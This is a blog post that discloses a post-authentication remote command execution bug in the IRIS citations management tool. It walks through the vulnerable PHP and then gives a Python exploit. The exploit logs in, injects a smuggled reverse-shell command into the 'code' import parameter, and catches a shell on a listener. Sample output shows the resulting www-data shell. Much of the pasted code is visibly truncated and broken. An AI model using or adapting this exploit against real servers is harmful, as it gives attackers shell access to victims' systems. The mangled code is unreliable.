IRIS citations management tool (post auth) Remote Command Execution

Some time ago I did some source code auditing in public repositories and came across this bug. However this was not useful enough to keep 0day (post authenticated and not nearly as widely deployed as I would like).

I built this exploit to use the new version of the webstrike framework that I have developed. I will get around to uploading the core modules to github when I get a chance so for now posting the exploit code is somewhat useless.

As mentioned previously, the exploit pack will contain mostly 0day that I find and wish not to keep. I will include exploits for more popular applications as the bugs become public.

So what are the details?

We begin on ines 40 – 43 of index.php where the $page variable is set to a controlled value.

if (isset($_GET['p']))
	$page = $_GET['p'];

Lines 55 – 60 of index.php ensure that our page value is either add/edit/account/logout or metafields (if we are exploiting this bug with a user login).

$loginReq = array('add', 'edit', 'config', 'account', 'logout', 'metafields');
$adminReq = array('config');
if (!$user->loggedIn() && in_array($page, $loginReq))
    $page = 'summary';

Lines 82 – 105 of index.php uses a simple switch statement and executes the code from the relative page. If we set the page value to “add” or “edit” then they will execute the code from pages/add.php.

    case 'bibtex':

    case 'projects':
        $smarty->assign('template', 'projects');
        $smarty->assign('page_name', 'Projects');

    case 'add':
        $smarty->assign('template', 'add');
        $smarty->assign('page_name', 'Add Reference');

    case 'edit':
        $smarty->assign('template', 'add');
        $smarty->assign('page_name', 'Edit Reference');

As you can see on lines 348 – 379 of pages/add.php, there is a check for an import parameter and switches this value. If we then set the “import” parameter to “spnro”, then they can control the “code” parameter. This value is used to construct the $url variable which is passed to the downloadPDF() function…

    if (isset($_GET['import'])) {
        switch ($_GET['import']) {

            case 'scholarsportal':
                $url = ''.$_GET['collection'].'&journal='.$_GET['journal'].'&issue='.$_GET
                $smarty->assign('bibImport', downloadCitation($url));
                $url = ''.$_GET['collection'].'&journal='.$_GET['journal'].'&issue='.$_GET['issue'].'&article='.

            case 'jneurosci':
                $url = ';'.$_GET['code'];
                $smarty->assign('bibImport', downloadCitation($url));
                $url = ''.$_GET['code'].'.pdf';

            case 'jneurophys':
                $url = ';'.$_GET['code'];
                //$smarty->assign('bibImport', downloadCitation($url));
                $url = 'http:/'.$_GET['code'].'.pdf';

            case 'spnro':
                $url = ';'.$_GET['code'];
                $smarty->assign('bibImport', downloadCitation($url));
                $url = ''.$_GET['code'].'.pdf';

On lines 326 – 334 of pages/add.php, we can see the downloadPDF function. A command is constructed and the $url parameter is used to partly construct the command. The command is then fully trusted and executed…

    function downloadPDF($url) {                            // controlled signature
       global $tmpdir;
       $tmpFileName = $tmpdir.'/'.md5($url.rand(0,1000));
       $_SESSION['tmpfile'] = $tmpFileName;
       $_SESSION['tmpfile_name'] = 'imported.pdf';
       $wget = 'wget -O "'.$tmpFileName.'" "'.$url.'"';     // oh shit
       echo $wget;
       shell_exec($wget);                                   // OPPS

Resulting in, you guessed it, remote blind command execution !

IRIS citations management tool (post auth) Remote Command Execution exploit

# I Read It Somewhere (IRIS) <= v1.3 (post auth) Remote Command Execution
# download:
# Notes:
# - Found this in my archive, duno how long this has been 0Day for... but I had no use for it obviously.
# - Yes! ..the code is disgusting, but does the job
# - Sorry if I ripped your code, it worked for me and I dont reinvent wheels so thank you!
# ~ aeon
# Exploit requirements:
# ~~~~~~~~~~~~~~~~~~~~~
# - A valid account as at least a user
# - The target to have outgoing internet connectivity
# aeon@groundzero:~/dev/0day# ./ -r -d /audit/iris/ -c test:password
#         | ------------------------------------------------------------------------------------------------- |
#         |         I Read It Somewhere (IRIS) <= v1.3 (post auth) Remote Command Execution - by aeon         |
#         | ------------------------------------------------------------------------------------------------- |
# (+) Starting the shell listener
# (+) Logging into the target IRIS application
# (+) Login successful!
# (+) Receiving shell from!
# id;uname -a
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
# exit

# main imports
import urllib
import urllib2
import cookielib
import sys
import threading
import time
import re

from base64 import b64encode, b64decode
from optparse import OptionParser

# webstrike framework imports
from payloads.unix import UNIXReverse
from core.listener import CbShell, ThreadedTCPServer
from core.system import SystemInfo
from exploit.utils import banner

parser = OptionParser()
parser.add_option("-p", dest="proxy", help="The proxy to use <ip:port>")
parser.add_option("-r", dest="rhost", help="The remote host to target [ip:port]")
parser.add_option("-d", dest="dirpath", help="The directory path to the web application [/]")
parser.add_option("-c", dest="creds", help="The credentials to use")

(options, args) = parser.parse_args()

banner("I Read It Somewhere (IRIS) <= v1.3 (post auth) Remote Command Execution - by aeon")

if len(sys.argv) < 5:

print "(+) Starting the shell listener"
eth0 = SystemInfo().interfaces[1][1]
server = ThreadedTCPServer((eth0, 5555), CbShell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True

print "(+) Logging into the target IRIS application"

login_url = "http://%s%sindex.php" % (options.rhost, options.dirpath)
username = options.creds.split(":")[0]
password = options.creds.split(":")[1]
data = "username=%s&password=%s&p=login" % (username, password)

cj = cookielib.CookieJar()
if options.proxy:
    proxy = urllib2.ProxyHandler({'http': options.proxy})
    opener = urllib2.build_opener(proxy, urllib2.HTTPCookieProcessor(cj))
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

resp =, data)

if"Hello <em>%s</em> " % username,
    print "(+) Login successful!"
    print "(-) Login failed.."

# exploit command looks likes this:
# wget -O "/tmp/c1007066f19bbaebb979548d38b80278" "" -T 0.1 ||echo `uname` > /tmp/test||".pdf"
unixcmd = UNIXReverse(cb_host=eth0, cb_port="5555")
payload = unixcmd.gen_cmd().replace(" ","+")
payload = 'code=a"+-T+0.1+||%s"' % payload
exp = "http://%s%sindex.php?p=add&import=spnro&code=%s" % (options.rhost, options.dirpath, payload)
    resp1 =
    print "(!) exiting.."


Comments are closed.